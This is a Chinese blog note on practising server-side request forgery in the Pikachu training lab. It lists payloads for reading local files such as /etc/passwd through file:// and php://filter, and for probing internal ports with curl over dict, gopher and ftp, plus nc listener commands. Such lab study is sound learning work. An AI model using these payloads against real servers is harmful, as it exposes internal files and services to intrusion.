Pikachu靶场SSRF学习

2023-05-11,,

下载Pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu

Windows用phpstudy也行,记得要改config.inc文件

打开SSRF靶场

如概述所说

SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者----->服务器---->目标地址 根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec() 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。 你可以根据"SSRF"里面的项目来搞懂问题的原因

关于SSRF可以尝试的payload:

php伪协议:
php://filter/read=convert.base64-encode/resource=file
文件读取:
file://x://路径
url访问:
http://url/filename
curl的getshell利用:
查看 curl 支持的协议列表 curl-config -protocols 使用 curl 读取文件 curl -v file://etc/passwd
使用 ftp 协议 curl -v “ftp://127.0.0.1:6666/info”
使用 dict 协议 curl -v “dict://127.0.0.1:6666/info”
使用 gopher 协议 curl -v “gopher://127.0.0.1:6666/_info”

首先,进行dict来探测端口开放情况及服务

本机:

ssrf处

通过file:来读取指定的文件

Windows:file://C://test.txt

Linux:file:///etc/pwd

读取成功

其次还有

tftp --对应--》udp  ftp传输 协议:nc -lvup 1234

sftp--对应--》ssh文件传输协议:nc -lvp 1234

(环境原因暂无复现成功)

下一步:

通过SSRF从Redis Getshell

参考链接:

SSRF详细利用方式及getshell

Pikachu靶场SSRF学习的相关教程结束。

《Pikachu靶场SSRF学习.doc》

下载本文的Word格式文档,以方便收藏与打印。